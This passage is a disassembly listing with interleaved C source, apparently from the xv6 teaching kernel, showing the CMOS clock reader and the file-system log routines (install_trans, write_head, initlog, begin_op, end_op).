801027bd: 8d 76 00 lea 0x0(%esi),%esi 801027c0 <cmostime>: } // qemu seems to use 24-hour GWT and the values are BCD encoded void cmostime(struct rtcdate *r) { 801027c0: 55 push %ebp 801027c1: ba 70 00 00 00 mov $0x70,%edx 801027c6: b8 0b 00 00 00 mov $0xb,%eax 801027cb: 89 e5 mov %esp,%ebp 801027cd: 57 push %edi 801027ce: 56 push %esi 801027cf: 53 push %ebx 801027d0: 83 ec 4c sub $0x4c,%esp 801027d3: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801027d4: ba 71 00 00 00 mov $0x71,%edx 801027d9: ec in (%dx),%al 801027da: 83 e0 04 and $0x4,%eax 801027dd: 8d 75 d0 lea -0x30(%ebp),%esi } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801027e0: 31 db xor %ebx,%ebx 801027e2: 88 45 b7 mov %al,-0x49(%ebp) 801027e5: bf 70 00 00 00 mov $0x70,%edi 801027ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801027f0: 89 d8 mov %ebx,%eax 801027f2: 89 fa mov %edi,%edx 801027f4: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801027f5: b9 71 00 00 00 mov $0x71,%ecx 801027fa: 89 ca mov %ecx,%edx 801027fc: ec in (%dx),%al } static void fill_rtcdate(struct rtcdate *r) { r->second = cmos_read(SECS); 801027fd: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102800: 89 fa mov %edi,%edx 80102802: 89 45 b8 mov %eax,-0x48(%ebp) 80102805: b8 02 00 00 00 mov $0x2,%eax 8010280a: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010280b: 89 ca mov %ecx,%edx 8010280d: ec in (%dx),%al r->minute = cmos_read(MINS); 8010280e: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102811: 89 fa mov %edi,%edx 80102813: 89 45 bc mov %eax,-0x44(%ebp) 80102816: b8 04 00 00 00 mov $0x4,%eax 8010281b: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010281c: 89 ca mov %ecx,%edx 8010281e: ec in (%dx),%al r->hour = cmos_read(HOURS); 8010281f: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102822: 89 fa mov %edi,%edx 80102824: 89 45 c0 mov %eax,-0x40(%ebp) 80102827: b8 07 00 00 00 mov $0x7,%eax 8010282c: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010282d: 89 ca mov %ecx,%edx 8010282f: ec in (%dx),%al r->day = cmos_read(DAY); 80102830: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102833: 89 fa mov %edi,%edx 80102835: 89 45 c4 mov %eax,-0x3c(%ebp) 80102838: b8 08 00 00 00 mov $0x8,%eax 8010283d: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010283e: 89 ca mov %ecx,%edx 80102840: ec in (%dx),%al r->month = cmos_read(MONTH); 80102841: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102844: 89 fa mov %edi,%edx 80102846: 89 45 c8 mov %eax,-0x38(%ebp) 80102849: b8 09 00 00 00 mov $0x9,%eax 8010284e: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010284f: 89 ca mov %ecx,%edx 80102851: ec in (%dx),%al r->year = cmos_read(YEAR); 80102852: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102855: 89 fa mov %edi,%edx 80102857: 89 45 cc mov %eax,-0x34(%ebp) 8010285a: b8 0a 00 00 00 mov $0xa,%eax 8010285f: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102860: 89 ca mov %ecx,%edx 80102862: ec in (%dx),%al bcd = (sb & (1 << 2)) == 0; // make sure CMOS doesn't modify time while we read it for(;;) { fill_rtcdate(&t1); if(cmos_read(CMOS_STATA) & CMOS_UIP) 80102863: 84 c0 test %al,%al 80102865: 78 89 js 801027f0 <cmostime+0x30> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102867: 89 d8 mov %ebx,%eax 80102869: 89 fa mov %edi,%edx 8010286b: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010286c: 89 ca mov %ecx,%edx 8010286e: ec in (%dx),%al } static void fill_rtcdate(struct rtcdate *r) { r->second = cmos_read(SECS); 8010286f: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102872: 89 fa mov %edi,%edx 80102874: 89 45 d0 mov %eax,-0x30(%ebp) 80102877: b8 02 00 00 00 mov $0x2,%eax 8010287c: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010287d: 89 ca mov %ecx,%edx 8010287f: ec in (%dx),%al r->minute = cmos_read(MINS); 80102880: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102883: 89 fa mov %edi,%edx 80102885: 89 45 d4 mov %eax,-0x2c(%ebp) 80102888: b8 04 00 00 00 mov $0x4,%eax 8010288d: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010288e: 89 ca mov %ecx,%edx 80102890: ec in (%dx),%al r->hour = cmos_read(HOURS); 80102891: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102894: 89 fa mov %edi,%edx 80102896: 89 45 d8 mov %eax,-0x28(%ebp) 80102899: b8 07 00 00 00 mov $0x7,%eax 8010289e: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010289f: 89 ca mov %ecx,%edx 801028a1: ec in (%dx),%al r->day = cmos_read(DAY); 801028a2: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028a5: 89 fa mov %edi,%edx 801028a7: 89 45 dc mov %eax,-0x24(%ebp) 801028aa: b8 08 00 00 00 mov $0x8,%eax 801028af: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028b0: 89 ca mov %ecx,%edx 801028b2: ec in (%dx),%al r->month = cmos_read(MONTH); 801028b3: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028b6: 89 fa mov %edi,%edx 801028b8: 89 45 e0 mov %eax,-0x20(%ebp) 801028bb: b8 09 00 00 00 mov $0x9,%eax 801028c0: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028c1: 89 ca mov %ecx,%edx 801028c3: ec in (%dx),%al r->year = cmos_read(YEAR); 801028c4: 0f b6 c0 movzbl %al,%eax for(;;) { fill_rtcdate(&t1); if(cmos_read(CMOS_STATA) & CMOS_UIP) continue; fill_rtcdate(&t2); if(memcmp(&t1, &t2, sizeof(t1)) == 0) 801028c7: 83 ec 04 sub $0x4,%esp r->second = cmos_read(SECS); r->minute = cmos_read(MINS); r->hour = cmos_read(HOURS); r->day = cmos_read(DAY); r->month = cmos_read(MONTH); r->year = cmos_read(YEAR); 801028ca: 89 45 e4 mov %eax,-0x1c(%ebp) for(;;) { fill_rtcdate(&t1); if(cmos_read(CMOS_STATA) & CMOS_UIP) continue; fill_rtcdate(&t2); if(memcmp(&t1, &t2, sizeof(t1)) == 0) 801028cd: 8d 45 b8 lea -0x48(%ebp),%eax 801028d0: 6a 18 push $0x18 801028d2: 56 push %esi 801028d3: 50 push %eax 801028d4: e8 07 1f 00 00 call 801047e0 <memcmp> 801028d9: 83 c4 10 add $0x10,%esp 801028dc: 85 c0 test %eax,%eax 801028de: 0f 85 0c ff ff ff jne 801027f0 <cmostime+0x30> break; } // convert if(bcd) { 801028e4: 80 7d b7 00 cmpb $0x0,-0x49(%ebp) 801028e8: 75 78 jne 80102962 <cmostime+0x1a2> #define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf)) CONV(second); 801028ea: 8b 45 b8 mov -0x48(%ebp),%eax 801028ed: 89 c2 mov %eax,%edx 801028ef: 83 e0 0f and $0xf,%eax 801028f2: c1 ea 04 shr $0x4,%edx 801028f5: 8d 14 92 lea (%edx,%edx,4),%edx 801028f8: 8d 04 50 lea (%eax,%edx,2),%eax 801028fb: 89 45 b8 mov %eax,-0x48(%ebp) CONV(minute); 801028fe: 8b 45 bc mov -0x44(%ebp),%eax 80102901: 89 c2 mov %eax,%edx 80102903: 83 e0 0f and $0xf,%eax 80102906: c1 ea 04 shr $0x4,%edx 80102909: 8d 14 92 lea (%edx,%edx,4),%edx 8010290c: 8d 04 50 lea (%eax,%edx,2),%eax 8010290f: 89 45 bc mov %eax,-0x44(%ebp) CONV(hour ); 80102912: 8b 45 c0 mov -0x40(%ebp),%eax 80102915: 89 c2 mov %eax,%edx 80102917: 83 e0 0f and $0xf,%eax 8010291a: c1 ea 04 shr $0x4,%edx 8010291d: 8d 14 92 lea (%edx,%edx,4),%edx 80102920: 8d 04 50 lea (%eax,%edx,2),%eax 80102923: 89 45 c0 mov %eax,-0x40(%ebp) CONV(day ); 80102926: 8b 45 c4 mov -0x3c(%ebp),%eax 80102929: 89 c2 mov %eax,%edx 8010292b: 83 e0 0f and $0xf,%eax 8010292e: c1 ea 04 shr $0x4,%edx 80102931: 8d 14 92 lea (%edx,%edx,4),%edx 80102934: 8d 04 50 lea (%eax,%edx,2),%eax 80102937: 89 45 c4 mov %eax,-0x3c(%ebp) CONV(month ); 8010293a: 8b 45 c8 mov -0x38(%ebp),%eax 8010293d: 89 c2 mov %eax,%edx 8010293f: 83 e0 0f and $0xf,%eax 80102942: c1 ea 04 shr $0x4,%edx 80102945: 8d 14 92 lea (%edx,%edx,4),%edx 80102948: 8d 04 50 lea (%eax,%edx,2),%eax 8010294b: 89 45 c8 mov %eax,-0x38(%ebp) CONV(year ); 8010294e: 8b 45 cc mov -0x34(%ebp),%eax 80102951: 89 c2 mov %eax,%edx 80102953: 83 e0 0f and $0xf,%eax 80102956: c1 ea 04 shr $0x4,%edx 80102959: 8d 14 92 lea (%edx,%edx,4),%edx 8010295c: 8d 04 50 lea (%eax,%edx,2),%eax 8010295f: 89 45 cc mov %eax,-0x34(%ebp) #undef CONV } *r = t1; 80102962: 8b 75 08 mov 0x8(%ebp),%esi 80102965: 8b 45 b8 mov -0x48(%ebp),%eax 80102968: 89 06 mov %eax,(%esi) 8010296a: 8b 45 bc mov -0x44(%ebp),%eax 8010296d: 89 46 04 mov %eax,0x4(%esi) 80102970: 8b 45 c0 mov -0x40(%ebp),%eax 80102973: 89 46 08 mov %eax,0x8(%esi) 80102976: 8b 45 c4 mov -0x3c(%ebp),%eax 80102979: 89 46 0c mov %eax,0xc(%esi) 8010297c: 8b 45 c8 mov -0x38(%ebp),%eax 8010297f: 89 46 10 mov %eax,0x10(%esi) 80102982: 8b 45 cc mov -0x34(%ebp),%eax 80102985: 89 46 14 mov %eax,0x14(%esi) r->year += 2000; 80102988: 81 46 14 d0 07 00 00 addl $0x7d0,0x14(%esi) } 8010298f: 8d 65 f4 lea -0xc(%ebp),%esp 80102992: 5b pop %ebx 80102993: 5e pop %esi 80102994: 5f pop %edi 80102995: 5d pop %ebp 80102996: c3 ret 80102997: 66 90 xchg %ax,%ax 80102999: 66 90 xchg %ax,%ax 8010299b: 66 90 xchg %ax,%ax 8010299d: 66 90 xchg %ax,%ax 8010299f: 90 nop 801029a0 <install_trans>: static void install_trans(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 801029a0: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx 801029a6: 85 c9 test %ecx,%ecx 801029a8: 0f 8e 85 00 00 00 jle 80102a33 <install_trans+0x93> } // Copy committed blocks from log to their home location static void install_trans(void) { 801029ae: 55 push %ebp 801029af: 89 e5 mov %esp,%ebp 801029b1: 57 push %edi 801029b2: 56 push %esi 801029b3: 53 push %ebx 801029b4: 31 db xor %ebx,%ebx 801029b6: 83 ec 0c sub $0xc,%esp 801029b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi int tail; for (tail = 0; tail < log.lh.n; tail++) { struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 801029c0: a1 b4 26 11 80 mov 0x801126b4,%eax 801029c5: 83 ec 08 sub $0x8,%esp 801029c8: 01 d8 add %ebx,%eax 801029ca: 83 c0 01 add $0x1,%eax 801029cd: 50 push %eax 801029ce: ff 35 c4 26 11 80 pushl 0x801126c4 801029d4: e8 f7 d6 ff ff call 801000d0 <bread> 801029d9: 89 c7 mov %eax,%edi struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 801029db: 58 pop %eax 801029dc: 5a pop %edx 801029dd: ff 34 9d cc 26 11 80 pushl -0x7feed934(,%ebx,4) 801029e4: ff 35 c4 26 11 80 pushl 0x801126c4 static void install_trans(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 801029ea: 83 c3 01 add $0x1,%ebx struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 801029ed: e8 de d6 ff ff call 801000d0 <bread> 801029f2: 89 c6 mov %eax,%esi memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 801029f4: 8d 47 5c lea 0x5c(%edi),%eax 801029f7: 83 c4 0c add $0xc,%esp 801029fa: 68 00 02 00 00 push $0x200 801029ff: 50 push %eax 80102a00: 8d 46 5c lea 0x5c(%esi),%eax 80102a03: 50 push %eax 80102a04: e8 37 1e 00 00 call 80104840 <memmove> bwrite(dbuf); // write dst to disk 80102a09: 89 34 24 mov %esi,(%esp) 80102a0c: e8 8f d7 ff ff call 801001a0 <bwrite> brelse(lbuf); 80102a11: 89 3c 24 mov %edi,(%esp) 80102a14: e8 c7 d7 ff ff call 801001e0 <brelse> brelse(dbuf); 80102a19: 89 34 24 mov %esi,(%esp) 80102a1c: e8 bf d7 ff ff call 801001e0 <brelse> static void install_trans(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102a21: 83 c4 10 add $0x10,%esp 80102a24: 39 1d c8 26 11 80 cmp %ebx,0x801126c8 80102a2a: 7f 94 jg 801029c0 <install_trans+0x20> memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst bwrite(dbuf); // write dst to disk brelse(lbuf); brelse(dbuf); } } 80102a2c: 8d 65 f4 lea -0xc(%ebp),%esp 80102a2f: 5b pop %ebx 80102a30: 5e pop %esi 80102a31: 5f pop %edi 80102a32: 5d pop %ebp 80102a33: f3 c3 repz ret 80102a35: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102a39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102a40 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 80102a40: 55 push %ebp 80102a41: 89 e5 mov %esp,%ebp 80102a43: 53 push %ebx 80102a44: 83 ec 0c sub $0xc,%esp struct buf *buf = bread(log.dev, log.start); 80102a47: ff 35 b4 26 11 80 pushl 0x801126b4 80102a4d: ff 35 c4 26 11 80 pushl 0x801126c4 80102a53: e8 78 d6 ff ff call 801000d0 <bread> struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 80102a58: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx for (i = 0; i < log.lh.n; i++) { 80102a5e: 83 c4 10 add $0x10,%esp // This is the true point at which the // current transaction commits. static void write_head(void) { struct buf *buf = bread(log.dev, log.start); 80102a61: 89 c3 mov %eax,%ebx struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; for (i = 0; i < log.lh.n; i++) { 80102a63: 85 c9 test %ecx,%ecx write_head(void) { struct buf *buf = bread(log.dev, log.start); struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 80102a65: 89 48 5c mov %ecx,0x5c(%eax) for (i = 0; i < log.lh.n; i++) { 80102a68: 7e 1f jle 80102a89 <write_head+0x49> 80102a6a: 8d 04 8d 00 00 00 00 lea 0x0(,%ecx,4),%eax 80102a71: 31 d2 xor %edx,%edx 80102a73: 90 nop 80102a74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi hb->block[i] = log.lh.block[i]; 80102a78: 8b 8a cc 26 11 80 mov -0x7feed934(%edx),%ecx 80102a7e: 89 4c 13 60 mov %ecx,0x60(%ebx,%edx,1) 80102a82: 83 c2 04 add $0x4,%edx { struct buf *buf = bread(log.dev, log.start); struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; for (i = 0; i < log.lh.n; i++) { 80102a85: 39 c2 cmp %eax,%edx 80102a87: 75 ef jne 80102a78 <write_head+0x38> hb->block[i] = log.lh.block[i]; } bwrite(buf); 80102a89: 83 ec 0c sub $0xc,%esp 80102a8c: 53 push %ebx 80102a8d: e8 0e d7 ff ff call 801001a0 <bwrite> brelse(buf); 80102a92: 89 1c 24 mov %ebx,(%esp) 80102a95: e8 46 d7 ff ff call 801001e0 <brelse> } 80102a9a: 8b 5d fc mov -0x4(%ebp),%ebx 80102a9d: c9 leave 80102a9e: c3 ret 80102a9f: 90 nop 80102aa0 <initlog>: static void recover_from_log(void); static void commit(); void initlog(int dev) { 80102aa0: 55 push %ebp 80102aa1: 89 e5 mov %esp,%ebp 80102aa3: 53 push %ebx 80102aa4: 83 ec 2c sub $0x2c,%esp 80102aa7: 8b 5d 08 mov 0x8(%ebp),%ebx if (sizeof(struct logheader) >= BSIZE) panic("initlog: too big logheader"); struct superblock sb; initlock(&log.lock, "log"); 80102aaa: 68 c0 77 10 80 push $0x801077c0 80102aaf: 68 80 26 11 80 push $0x80112680 80102ab4: e8 77 1a 00 00 call 80104530 <initlock> readsb(dev, &sb); 80102ab9: 58 pop %eax 80102aba: 8d 45 dc lea -0x24(%ebp),%eax 80102abd: 5a pop %edx 80102abe: 50 push %eax 80102abf: 53 push %ebx 80102ac0: e8 5b e9 ff ff call 80101420 <readsb> log.start = sb.logstart; log.size = sb.nlog; 80102ac5: 8b 55 e8 mov -0x18(%ebp),%edx panic("initlog: too big logheader"); struct superblock sb; initlock(&log.lock, "log"); readsb(dev, &sb); log.start = sb.logstart; 80102ac8: 8b 45 ec mov -0x14(%ebp),%eax // Read the log header from disk into the in-memory log header static void read_head(void) { struct buf *buf = bread(log.dev, log.start); 80102acb: 59 pop %ecx struct superblock sb; initlock(&log.lock, "log"); readsb(dev, &sb); log.start = sb.logstart; log.size = sb.nlog; log.dev = dev; 80102acc: 89 1d c4 26 11 80 mov %ebx,0x801126c4 struct superblock sb; initlock(&log.lock, "log"); readsb(dev, &sb); log.start = sb.logstart; log.size = sb.nlog; 80102ad2: 89 15 b8 26 11 80 mov %edx,0x801126b8 panic("initlog: too big logheader"); struct superblock sb; initlock(&log.lock, "log"); readsb(dev, &sb); log.start = sb.logstart; 80102ad8: a3 b4 26 11 80 mov %eax,0x801126b4 // Read the log header from disk into the in-memory log header static void read_head(void) { struct buf *buf = bread(log.dev, log.start); 80102add: 5a pop %edx 80102ade: 50 push %eax 80102adf: 53 push %ebx 80102ae0: e8 eb d5 ff ff call 801000d0 <bread> struct logheader *lh = (struct logheader *) (buf->data); int i; log.lh.n = lh->n; 80102ae5: 8b 48 5c mov 0x5c(%eax),%ecx for (i = 0; i < log.lh.n; i++) { 80102ae8: 83 c4 10 add $0x10,%esp 80102aeb: 85 c9 test %ecx,%ecx read_head(void) { struct buf *buf = bread(log.dev, log.start); struct logheader *lh = (struct logheader *) (buf->data); int i; log.lh.n = lh->n; 80102aed: 89 0d c8 26 11 80 mov %ecx,0x801126c8 for (i = 0; i < log.lh.n; i++) { 80102af3: 7e 1c jle 80102b11 <initlog+0x71> 80102af5: 8d 1c 8d 00 00 00 00 lea 0x0(,%ecx,4),%ebx 80102afc: 31 d2 xor %edx,%edx 80102afe: 66 90 xchg %ax,%ax log.lh.block[i] = lh->block[i]; 80102b00: 8b 4c 10 60 mov 0x60(%eax,%edx,1),%ecx 80102b04: 83 c2 04 add $0x4,%edx 80102b07: 89 8a c8 26 11 80 mov %ecx,-0x7feed938(%edx) { struct buf *buf = bread(log.dev, log.start); struct logheader *lh = (struct logheader *) (buf->data); int i; log.lh.n = lh->n; for (i = 0; i < log.lh.n; i++) { 80102b0d: 39 da cmp %ebx,%edx 80102b0f: 75 ef jne 80102b00 <initlog+0x60> log.lh.block[i] = lh->block[i]; } brelse(buf); 80102b11: 83 ec 0c sub $0xc,%esp 80102b14: 50 push %eax 80102b15: e8 c6 d6 ff ff call 801001e0 <brelse> static void recover_from_log(void) { read_head(); install_trans(); // if committed, copy from log to disk 80102b1a: e8 81 fe ff ff call 801029a0 <install_trans> log.lh.n = 0; 80102b1f: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102b26: 00 00 00 write_head(); // clear the log 80102b29: e8 12 ff ff ff call 80102a40 <write_head> readsb(dev, &sb); log.start = sb.logstart; log.size = sb.nlog; log.dev = dev; recover_from_log(); } 80102b2e: 8b 5d fc mov -0x4(%ebp),%ebx 80102b31: c9 leave 80102b32: c3 ret 80102b33: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102b39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102b40 <begin_op>: } // called at the start of each FS system call. void begin_op(void) { 80102b40: 55 push %ebp 80102b41: 89 e5 mov %esp,%ebp 80102b43: 83 ec 14 sub $0x14,%esp acquire(&log.lock); 80102b46: 68 80 26 11 80 push $0x80112680 80102b4b: e8 40 1b 00 00 call 80104690 <acquire> 80102b50: 83 c4 10 add $0x10,%esp 80102b53: eb 18 jmp 80102b6d <begin_op+0x2d> 80102b55: 8d 76 00 lea 0x0(%esi),%esi while(1){ if(log.committing){ sleep(&log, &log.lock); 80102b58: 83 ec 08 sub $0x8,%esp 80102b5b: 68 80 26 11 80 push $0x80112680 80102b60: 68 80 26 11 80 push $0x80112680 80102b65: e8 96 12 00 00 call 80103e00 <sleep> 80102b6a: 83 c4 10 add $0x10,%esp void begin_op(void) { acquire(&log.lock); while(1){ if(log.committing){ 80102b6d: a1 c0 26 11 80 mov 0x801126c0,%eax 80102b72: 85 c0 test %eax,%eax 80102b74: 75 e2 jne 80102b58 <begin_op+0x18> sleep(&log, &log.lock); } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80102b76: a1 bc 26 11 80 mov 0x801126bc,%eax 80102b7b: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102b81: 83 c0 01 add $0x1,%eax 80102b84: 8d 0c 80 lea (%eax,%eax,4),%ecx 80102b87: 8d 14 4a lea (%edx,%ecx,2),%edx 80102b8a: 83 fa 1e cmp $0x1e,%edx 80102b8d: 7f c9 jg 80102b58 <begin_op+0x18> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; release(&log.lock); 80102b8f: 83 ec 0c sub $0xc,%esp sleep(&log, &log.lock); } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; 80102b92: a3 bc 26 11 80 mov %eax,0x801126bc release(&log.lock); 80102b97: 68 80 26 11 80 push $0x80112680 80102b9c: e8 9f 1b 00 00 call 80104740 <release> break; } } } 80102ba1: 83 c4 10 add $0x10,%esp 80102ba4: c9 leave 80102ba5: c3 ret 80102ba6: 8d 76 00 lea 0x0(%esi),%esi 80102ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102bb0 <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 80102bb0: 55 push %ebp 80102bb1: 89 e5 mov %esp,%ebp 80102bb3: 57 push %edi 80102bb4: 56 push %esi 80102bb5: 53 push %ebx 80102bb6: 83 ec 18 sub $0x18,%esp int do_commit = 0; acquire(&log.lock); 80102bb9: 68 80 26 11 80 push $0x80112680 80102bbe: e8 cd 1a 00 00 call 80104690 <acquire> log.outstanding -= 1; 80102bc3: a1 bc 26 11 80 mov 0x801126bc,%eax if(log.committing) 80102bc8: 8b 1d c0 26 11 80 mov 0x801126c0,%ebx 80102bce: 83 c4 10 add $0x10,%esp end_op(void) { int do_commit = 0; acquire(&log.lock); log.outstanding -= 1; 80102bd1: 83 e8 01 sub $0x1,%eax if(log.committing) 80102bd4: 85 db test %ebx,%ebx end_op(void) { int do_commit = 0; acquire(&log.lock); log.outstanding -= 1; 80102bd6: a3 bc 26 11 80 mov %eax,0x801126bc if(log.committing) 80102bdb: 0f 85 23 01 00 00 jne 80102d04 <end_op+0x154> panic("log.committing"); if(log.outstanding == 0){ 80102be1: 85 c0 test %eax,%eax 80102be3: 0f 85 f7 00 00 00 jne 80102ce0 <end_op+0x130> // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80102be9: 83 ec 0c sub $0xc,%esp log.outstanding -= 1; if(log.committing) panic("log.committing"); if(log.outstanding == 0){ do_commit = 1; log.committing = 1; 80102bec: c7 05 c0 26 11 80 01 movl $0x1,0x801126c0 80102bf3: 00 00 00 } static void commit() { if (log.lh.n > 0) { 80102bf6: 31 db xor %ebx,%ebx // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80102bf8: 68 80 26 11 80 push $0x80112680 80102bfd: e8 3e 1b 00 00 call 80104740 <release> } static void commit() { if (log.lh.n > 0) { 80102c02: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx 80102c08: 83 c4 10 add $0x10,%esp 80102c0b: 85 c9 test %ecx,%ecx 80102c0d: 0f 8e 8a 00 00 00 jle 80102c9d <end_op+0xed> 80102c13: 90 nop 80102c14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi write_log(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { struct buf *to = bread(log.dev, log.start+tail+1); // log block 80102c18: a1 b4 26 11 80 mov 0x801126b4,%eax 80102c1d: 83 ec 08 sub $0x8,%esp 80102c20: 01 d8 add %ebx,%eax 80102c22: 83 c0 01 add $0x1,%eax 80102c25: 50 push %eax 80102c26: ff 35 c4 26 11 80 pushl 0x801126c4 80102c2c: e8 9f d4 ff ff call 801000d0 <bread> 80102c31: 89 c6 mov %eax,%esi struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c33: 58 pop %eax 80102c34: 5a pop %edx 80102c35: ff 34 9d cc 26 11 80 pushl -0x7feed934(,%ebx,4) 80102c3c: ff 35 c4 26 11 80 pushl 0x801126c4 static void write_log(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102c42: 83 c3 01 add $0x1,%ebx struct buf *to = bread(log.dev, log.start+tail+1); // log block struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c45: e8 86 d4 ff ff call 801000d0 <bread> 80102c4a: 89 c7 mov %eax,%edi memmove(to->data, from->data, BSIZE); 80102c4c: 8d 40 5c lea 0x5c(%eax),%eax 80102c4f: 83 c4 0c add $0xc,%esp 80102c52: 68 00 02 00 00 push $0x200 80102c57: 50 push %eax 80102c58: 8d 46 5c lea 0x5c(%esi),%eax 80102c5b: 50 push %eax 80102c5c: e8 df 1b 00 00 call 80104840 <memmove> bwrite(to); // write the log 80102c61: 89 34 24 mov %esi,(%esp) 80102c64: e8 37 d5 ff ff call 801001a0 <bwrite> brelse(from); 80102c69: 89 3c 24 mov %edi,(%esp) 80102c6c: e8 6f d5 ff ff call 801001e0 <brelse> brelse(to); 80102c71: 89 34 24 mov %esi,(%esp) 80102c74: e8 67 d5 ff ff call 801001e0 <brelse> static void write_log(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102c79: 83 c4 10 add $0x10,%esp 80102c7c: 3b 1d c8 26 11 80 cmp 0x801126c8,%ebx 80102c82: 7c 94 jl 80102c18 <end_op+0x68> static void commit() { if (log.lh.n > 0) { write_log(); // Write modified blocks from cache to log write_head(); // Write header to disk -- the real commit 80102c84: e8 b7 fd ff ff call 80102a40 <write_head> install_trans(); // Now install writes to home locations 80102c89: e8 12 fd ff ff call 801029a0 <install_trans> log.lh.n = 0; 80102c8e: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102c95: 00 00 00 write_head(); // Erase the transaction from the log 80102c98: e8 a3 fd ff ff call 80102a40 <write_head> if(do_commit){ // call commit w/o holding locks, since not allowed // to 